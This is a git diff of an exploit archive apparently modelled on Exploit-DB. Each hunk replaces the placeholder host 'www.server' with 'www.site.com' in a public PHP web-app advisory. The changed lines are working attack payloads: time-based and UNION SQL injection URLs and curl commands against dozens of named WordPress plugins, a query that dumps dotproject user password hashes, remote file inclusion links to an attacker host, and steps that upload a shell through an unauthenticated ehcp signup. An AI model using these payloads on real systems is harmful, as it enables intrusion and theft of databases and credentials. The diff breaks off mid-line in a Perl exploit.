-http://www.server/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker] +http://www.site.com/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker] by Darkfire and IR4DEX GROUP Greetz: Smurf_RedHat :: V0lks diff --git a/platforms/php/webapps/17740.txt b/platforms/php/webapps/17740.txt index 9c95aeecc..513f1a8a9 100755 --- a/platforms/php/webapps/17740.txt +++ b/platforms/php/webapps/17740.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/mystat/mystat.php?act=stat_img&d1=1&d2=-1') AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/mystat/mystat.php?act=stat_img&d1=1&d2=-1') AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17748.txt b/platforms/php/webapps/17748.txt index ad58c1968..26cd0edf3 100755 --- a/platforms/php/webapps/17748.txt +++ b/platforms/php/webapps/17748.txt @@ -7,7 +7,7 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/sh-slideshow/ajax.php +http://www.site.com/wp-content/plugins/sh-slideshow/ajax.php id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- diff --git a/platforms/php/webapps/17749.txt b/platforms/php/webapps/17749.txt index 4ed193bdf..629f79152 100755 --- a/platforms/php/webapps/17749.txt +++ b/platforms/php/webapps/17749.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/copyright-licensing-tools/icopyright_xml.php?id=1' AND 1=1--%20 +http://www.site.com/wp-content/plugins/copyright-licensing-tools/icopyright_xml.php?id=1' AND 1=1--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17750.txt b/platforms/php/webapps/17750.txt index 797d0de09..f2d328f98 100755 --- a/platforms/php/webapps/17750.txt +++ b/platforms/php/webapps/17750.txt @@ -8,7 +8,7 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/advertizer/click_ads.php +http://www.site.com/wp-content/plugins/advertizer/click_ads.php id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- diff --git a/platforms/php/webapps/17751.txt b/platforms/php/webapps/17751.txt index 9c7e94770..682549820 100755 --- a/platforms/php/webapps/17751.txt +++ b/platforms/php/webapps/17751.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/event-registration/event_registration_export.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/event-registration/event_registration_export.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17755.txt b/platforms/php/webapps/17755.txt index e3dce589b..94412232a 100755 --- a/platforms/php/webapps/17755.txt +++ b/platforms/php/webapps/17755.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/crawlrate-tracker/sbtracking-chart-data.php?chart_data=1&page_url=-1' AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20 +http://www.site.com/wp-content/plugins/crawlrate-tracker/sbtracking-chart-data.php?chart_data=1&page_url=-1' AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17756.txt b/platforms/php/webapps/17756.txt index 0587e382b..cdc458ff4 100755 --- a/platforms/php/webapps/17756.txt +++ b/platforms/php/webapps/17756.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/wp-audio-gallery-playlist/playlist.php?post_gallery=-1' UNION ALL SELECT 1,2,3,4,5,database(),current_user(),8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22,23--%20 +http://www.site.com/wp-content/plugins/wp-audio-gallery-playlist/playlist.php?post_gallery=-1' UNION ALL SELECT 1,2,3,4,5,database(),current_user(),8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22,23--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17757.txt b/platforms/php/webapps/17757.txt index a764a6cc8..b0845963a 100755 --- a/platforms/php/webapps/17757.txt +++ b/platforms/php/webapps/17757.txt @@ -7,7 +7,7 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/yolink-search/includes/bulkcrawl.php +http://www.site.com/wp-content/plugins/yolink-search/includes/bulkcrawl.php page=-1&from_id=-1 UNION ALL SELECT CONCAT_WS(CHAR(58),database(),version(),current_user()),NULL--%20&batch_size=-1 --------------- diff --git a/platforms/php/webapps/17758.txt b/platforms/php/webapps/17758.txt index c80c61b13..038a40808 100755 --- a/platforms/php/webapps/17758.txt +++ b/platforms/php/webapps/17758.txt @@ -8,7 +8,7 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/pure-html/alter.php +http://www.site.com/wp-content/plugins/pure-html/alter.php PureHTMLNOnce=1&action=delete&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- diff --git a/platforms/php/webapps/17759.txt b/platforms/php/webapps/17759.txt index 96a86fc3a..36e7c4cee 100755 --- a/platforms/php/webapps/17759.txt +++ b/platforms/php/webapps/17759.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/couponer/print-coupon.php?ID=-1' UNION ALL SELECT 1,version(),database(),current_user(),5,6,7,8,9,10--%20 +http://www.site.com/wp-content/plugins/couponer/print-coupon.php?ID=-1' UNION ALL SELECT 1,version(),database(),current_user(),5,6,7,8,9,10--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17763.txt b/platforms/php/webapps/17763.txt index f77b54167..9945588e2 100755 --- a/platforms/php/webapps/17763.txt +++ b/platforms/php/webapps/17763.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/exporttocsv.php?did=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/exporttocsv.php?did=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17764.txt b/platforms/php/webapps/17764.txt index eb4cd5ec1..66ce66cc4 100755 --- a/platforms/php/webapps/17764.txt +++ b/platforms/php/webapps/17764.txt @@ -7,7 +7,7 @@ --- PoC --- -curl --data "id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " -H "X-Requested-With:XMLHttpRequest" http://www.server/wp-content/plugins/wp-bannerize/ajax_clickcounter.php +curl --data "id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_clickcounter.php --------------- Vulnerable code diff --git a/platforms/php/webapps/17767.txt b/platforms/php/webapps/17767.txt index fa90069fc..81db87ac6 100755 --- a/platforms/php/webapps/17767.txt +++ b/platforms/php/webapps/17767.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20 +http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17771.txt b/platforms/php/webapps/17771.txt index 7b5f85fc1..910a61d58 100755 --- a/platforms/php/webapps/17771.txt +++ b/platforms/php/webapps/17771.txt @@ -8,11 +8,11 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php +http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 e.g.: -curl --data "s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.server/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php +curl --data "s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php --------------- Vulnerable code diff --git a/platforms/php/webapps/17773.txt b/platforms/php/webapps/17773.txt index 5d0c5f52c..b25164011 100755 --- a/platforms/php/webapps/17773.txt +++ b/platforms/php/webapps/17773.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=100&rows=1 +http://www.site.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=100&rows=1 --------------- Vulnerable code diff --git a/platforms/php/webapps/17774.txt b/platforms/php/webapps/17774.txt index 7ae2781cf..aced39f1a 100755 --- a/platforms/php/webapps/17774.txt +++ b/platforms/php/webapps/17774.txt @@ -10,8 +10,8 @@ --------eXploit--------- -#RFI: http://www.server/Openads-2.0.11/libraries/lib-view-main.inc.php?row=http://evil.txt? +#RFI: http://www.site.com/Openads-2.0.11/libraries/lib-view-main.inc.php?row=http://evil.txt? ---------------------------------------------------------- Greets to my friend Sirus and all TeaM KuWaiT HaCkErS ;) ----------------------------------------------------------- \ No newline at end of file +---------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/17778.txt b/platforms/php/webapps/17778.txt index 709b00e22..439c416a4 100755 --- a/platforms/php/webapps/17778.txt +++ b/platforms/php/webapps/17778.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/zotpress/zotpress.rss.php?api_user_id=1&account_type=test&displayImages=true&displayImageByCitationID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23 +http://www.site.com/wp-content/plugins/zotpress/zotpress.rss.php?api_user_id=1&account_type=test&displayImages=true&displayImageByCitationID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23 --------------- Vulnerable code diff --git a/platforms/php/webapps/17779.txt b/platforms/php/webapps/17779.txt index fd367d808..9bdde52b1 100755 --- a/platforms/php/webapps/17779.txt +++ b/platforms/php/webapps/17779.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/oqey-gallery/getimages.php?gal_id=0' UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(95),version(),current_user(),database()),9,10%23 +http://www.site.com/wp-content/plugins/oqey-gallery/getimages.php?gal_id=0' UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(95),version(),current_user(),database()),9,10%23 --------------- Vulnerable code diff --git a/platforms/php/webapps/17782.txt b/platforms/php/webapps/17782.txt index 62daee405..13a558900 100755 --- a/platforms/php/webapps/17782.txt +++ b/platforms/php/webapps/17782.txt @@ -24,7 +24,7 @@ Sanitize the database inputs or block the bad words (UNION SELECT, UNION SELECT # Proof of Concept: -http://server/ladders.php?platform=( Injection ) +http://site.com/ladders.php?platform=( Injection ) ---------------------------------------- diff --git a/platforms/php/webapps/1779.txt b/platforms/php/webapps/1779.txt index f7f0d6ac6..99819c086 100755 --- a/platforms/php/webapps/1779.txt +++ b/platforms/php/webapps/1779.txt @@ -19,6 +19,6 @@ include($vsDragonRootPath."public_includes/pub_language/".$UserSession [/code] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -http://www.server/[dragon_path]/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=[evil_scripts] +http://www.site.com/[dragon_path]/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=[evil_scripts] # milw0rm.com [2006-05-12] diff --git a/platforms/php/webapps/17790.txt b/platforms/php/webapps/17790.txt index a1e47fe58..c6e6695c3 100755 --- a/platforms/php/webapps/17790.txt +++ b/platforms/php/webapps/17790.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/post-highlights/ajax/ph_settings.php?id=-1' OR 1=1--%20 +http://www.site.com/wp-content/plugins/post-highlights/ajax/ph_settings.php?id=-1' OR 1=1--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17791.txt b/platforms/php/webapps/17791.txt index e780f2727..0ff5f301a 100755 --- a/platforms/php/webapps/17791.txt +++ b/platforms/php/webapps/17791.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) +http://www.site.com/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code diff --git a/platforms/php/webapps/17793.txt b/platforms/php/webapps/17793.txt index b5c7a9c00..7981572e4 100755 --- a/platforms/php/webapps/17793.txt +++ b/platforms/php/webapps/17793.txt @@ -8,11 +8,11 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/scormcloud/ajax.php +http://www.site.com/wp-content/plugins/scormcloud/ajax.php action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 e.g.: -curl --data "action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.server/wp-content/plugins/scormcloud/ajax.php +curl --data "action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/scormcloud/ajax.php --------------- Vulnerable code diff --git a/platforms/php/webapps/17794.txt b/platforms/php/webapps/17794.txt index 42a00bb4e..c0dd76723 100755 --- a/platforms/php/webapps/17794.txt +++ b/platforms/php/webapps/17794.txt @@ -8,11 +8,11 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php +http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9--%20 e.g.: -curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.server/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php +curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php --------------- Vulnerable code diff --git a/platforms/php/webapps/17797.txt b/platforms/php/webapps/17797.txt index 76a85d210..693cbd38f 100755 --- a/platforms/php/webapps/17797.txt +++ b/platforms/php/webapps/17797.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/paid-downloads/download.php?download_key=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/paid-downloads/download.php?download_key=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17798.txt b/platforms/php/webapps/17798.txt index ab20148ef..51699314e 100755 --- a/platforms/php/webapps/17798.txt +++ b/platforms/php/webapps/17798.txt @@ -7,11 +7,11 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/community-events/tracker.php +http://www.site.com/wp-content/plugins/community-events/tracker.php id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20 e.g.: -curl --data "id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))-- " http://www.server/wp-content/plugins/community-events/tracker.php +curl --data "id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))-- " http://www.site.com/wp-content/plugins/community-events/tracker.php --------------- Vulnerable code diff --git a/platforms/php/webapps/17800.txt b/platforms/php/webapps/17800.txt index a211938e4..830863422 100755 --- a/platforms/php/webapps/17800.txt +++ b/platforms/php/webapps/17800.txt @@ -26,4 +26,4 @@ greats 2 >>> alm3refh.com - tryag.cc - joood T3rr0rist & cyb3r-1st & i-Hmx & h311 c0d3 & orange man -infofst & virus hima & Karar aLShaMi & b0x & all alm3refh group \ No newline at end of file +infofst & virus hima & Karar aLShaMi & b0x & all alm3refh group \ No newline at end of file diff --git a/platforms/php/webapps/17808.txt b/platforms/php/webapps/17808.txt index 29ce61484..0353125cb 100755 --- a/platforms/php/webapps/17808.txt +++ b/platforms/php/webapps/17808.txt @@ -7,7 +7,7 @@ --- PoC --- -http://www.server/wp-content/plugins/wp-filebase/wpfb-ajax.php?action=tree&base=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&root=source +http://www.site.com/wp-content/plugins/wp-filebase/wpfb-ajax.php?action=tree&base=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&root=source --------------- Vulnerable code diff --git a/platforms/php/webapps/17809.txt b/platforms/php/webapps/17809.txt index 030f99d26..28f9b2cf9 100755 --- a/platforms/php/webapps/17809.txt +++ b/platforms/php/webapps/17809.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/a-to-z-category-listing/post_retrive_ajax.php?R=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 +http://www.site.com/wp-content/plugins/a-to-z-category-listing/post_retrive_ajax.php?R=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17816.txt b/platforms/php/webapps/17816.txt index 7701ec7e9..e6128ca6f 100755 --- a/platforms/php/webapps/17816.txt +++ b/platforms/php/webapps/17816.txt @@ -9,7 +9,7 @@ --- PoC --- -http://www.server/wp-content/plugins/tune-library/tune-library-ajax.php?letter=-1' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20 +http://www.site.com/wp-content/plugins/tune-library/tune-library-ajax.php?letter=-1' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17828.txt b/platforms/php/webapps/17828.txt index dede497ae..b615a8fc8 100755 --- a/platforms/php/webapps/17828.txt +++ b/platforms/php/webapps/17828.txt @@ -7,11 +7,11 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/forum-server/wpf-insert.php +http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1 e.g. -curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.server/wp-content/plugins/forum-server/wpf-insert.php +curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php --------------- Vulnerable code diff --git a/platforms/php/webapps/17829.txt b/platforms/php/webapps/17829.txt index 729d9af89..e987825ea 100755 --- a/platforms/php/webapps/17829.txt +++ b/platforms/php/webapps/17829.txt @@ -11,7 +11,7 @@ PoC --------------- URL: -http://www.server/dotproject/index.php?m=ticketsmith&a=view&ticket=-2union +http://www.site.com/dotproject/index.php?m=ticketsmith&a=view&ticket=-2union all select 1,2,3,@@VERSION,5,USER(),7,8,9,10,11,12,13,DATABASE(),group_concat(user_username,0x3A,user_password,0xA),16 from dotp_users diff --git a/platforms/php/webapps/17832.txt b/platforms/php/webapps/17832.txt index 06a10a09b..59f53fc39 100755 --- a/platforms/php/webapps/17832.txt +++ b/platforms/php/webapps/17832.txt @@ -9,14 +9,14 @@ --------------- PoC (POST data) --------------- -http://www.server/?chronopay_callback=true +http://www.site.com/?chronopay_callback=true cs2=chronopay&cs1=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&transaction_type=rebill e.g. #!/bin/bash payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'` -curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill" http://www.server/?chronopay_callback=true +curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill" http://www.site.com/?chronopay_callback=true --------------- Vulnerable code diff --git a/platforms/php/webapps/17857.txt b/platforms/php/webapps/17857.txt index 3ffb5ddad..6f90955bb 100755 --- a/platforms/php/webapps/17857.txt +++ b/platforms/php/webapps/17857.txt @@ -11,7 +11,7 @@ --- PoC --- -http://www.server/wp-content/plugins/count-per-day/notes.php?month=-1 UNION ALL SELECT 1,version(),current_user()--%20 +http://www.site.com/wp-content/plugins/count-per-day/notes.php?month=-1 UNION ALL SELECT 1,version(),current_user()--%20 --------------- Vulnerable code diff --git a/platforms/php/webapps/17887.txt b/platforms/php/webapps/17887.txt index 06431727e..b16b2b4f1 100755 --- a/platforms/php/webapps/17887.txt +++ b/platforms/php/webapps/17887.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/link-library/link-library-ajax.php?searchll=-1')/**/AND/**/1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23 +http://www.site.com/wp-content/plugins/link-library/link-library-ajax.php?searchll=-1')/**/AND/**/1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23 --------------- Vulnerable code diff --git a/platforms/php/webapps/17888.txt b/platforms/php/webapps/17888.txt index bba214358..09b6c6e21 100755 --- a/platforms/php/webapps/17888.txt +++ b/platforms/php/webapps/17888.txt @@ -8,7 +8,7 @@ --- PoC --- -http://www.server/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23 +http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23 --------------- Vulnerable code diff --git a/platforms/php/webapps/1789.txt b/platforms/php/webapps/1789.txt index 6f929a7cc..6f77f265e 100755 --- a/platforms/php/webapps/1789.txt +++ b/platforms/php/webapps/1789.txt @@ -19,7 +19,7 @@ if ($ns != false) { [/code] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -http://www.server/[Newsportal_path]/extras/poll/poll.php?file_newsportal=[evil_scripts] +http://www.site.com/[Newsportal_path]/extras/poll/poll.php?file_newsportal=[evil_scripts] ################################################################### diff --git a/platforms/php/webapps/17894.txt b/platforms/php/webapps/17894.txt index 75b722cc8..17b27147f 100755 --- a/platforms/php/webapps/17894.txt +++ b/platforms/php/webapps/17894.txt @@ -8,11 +8,11 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/mingle-forum/wpf-insert.php +http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) e.g. -curl --data "wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" http://www.server/wp-content/plugins/mingle-forum/wpf-insert.php +curl --data "wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php --------------- Vulnerable code diff --git a/platforms/php/webapps/17898.txt b/platforms/php/webapps/17898.txt index bf423e04f..c2c779832 100755 --- a/platforms/php/webapps/17898.txt +++ b/platforms/php/webapps/17898.txt @@ -11,4 +11,4 @@ [ Example ] http://www.example.com/product.php?prodID=9999 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ##################################################################### [Thank's to][*] All member and Staff Indonesian Blackcoder[*] My Master : sudden_death (terimakasih atas ilmunya)[*] Special to ex member suramcrew: Kodok ijo, Gisa Maho, Lukas Bling, Pasukan dari Sempax, Zero-Line, Aanz, anharku, hakz -[Note][*] Aku sayang Ibu :) \ No newline at end of file +[Note][*] Aku sayang Ibu :) \ No newline at end of file diff --git a/platforms/php/webapps/17905.txt b/platforms/php/webapps/17905.txt index 93af8d423..5c58e25ca 100755 --- a/platforms/php/webapps/17905.txt +++ b/platforms/php/webapps/17905.txt @@ -1,4 +1,4 @@ -________________________________________________________________________________________ + ________________________________________________________________________________________ | _ _ | | ||\\ || || || | \\ // | ____ ________ __________ | | || \\ || || || | |\\ //| | | \ | ______| |_______/ / | diff --git a/platforms/php/webapps/17906.txt b/platforms/php/webapps/17906.txt index f435f1150..d63dd2a04 100755 --- a/platforms/php/webapps/17906.txt +++ b/platforms/php/webapps/17906.txt @@ -7,11 +7,11 @@ --------------- PoC (POST data) --------------- -http://www.server/wp-content/plugins/wp-bannerize/ajax_sorter.php +http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) e.g. -curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.server/wp-content/plugins/wp-bannerize/ajax_sorter.php +curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php --------------- Vulnerable code diff --git a/platforms/php/webapps/17920.txt b/platforms/php/webapps/17920.txt index 62f415ec9..c4d5db4ca 100755 --- a/platforms/php/webapps/17920.txt +++ b/platforms/php/webapps/17920.txt @@ -24,13 +24,13 @@ Err0r In File : compress.php?(css),file/namecss -Expl0it : server/compress.php?php,conf +Expl0it : site.com/compress.php?php,conf -# conf.php ~ (conf) (php) "server/compress.php?(php),(conf)" +# conf.php ~ (conf) (php) "site.com/compress.php?(php),(conf)" File extension : TXT , PHP , css , rs , ..... all -server/compress.php?( ? ),filename +site.com/compress.php?( ? ),filename ############################################################### diff --git a/platforms/php/webapps/17926.txt b/platforms/php/webapps/17926.txt index 7ca280557..9c140fbd4 100755 --- a/platforms/php/webapps/17926.txt +++ b/platforms/php/webapps/17926.txt @@ -15,13 +15,13 @@ It uses LAMP(LinuxApacheMysqlPhp). Its aim:easily installable,easy usage, non-co + Vulnerable: to add a ftp account & domain does not require a login. -http://server/vhosts/ehcp/?op=applyforaccount -http://server/vhosts/ehcp/?op=applyforftpaccount -http://server/vhosts/ehcp/?op=applyfordomainaccount +http://site.com/vhosts/ehcp/?op=applyforaccount +http://site.com/vhosts/ehcp/?op=applyforftpaccount +http://site.com/vhosts/ehcp/?op=applyfordomainaccount + Exploit upload a shell via ftp -http://server/vhosts/[username]/[domain]/httpdocs/shell.php +http://site.com/vhosts/[username]/[domain]/httpdocs/shell.php + Tested On 0.29.13 diff --git a/platforms/php/webapps/1793.pl b/platforms/php/webapps/1793.pl index cb1c76bce..a822f856b 100755 --- a/platforms/php/webapps/1793.pl +++ b/platforms/php/webapps/1793.pl @@ -17,7 +17,7 @@ if (!$ARGV[2]) { print q{ Usage: perl dbbxpl.pl host /directory/ victim_userid - perl 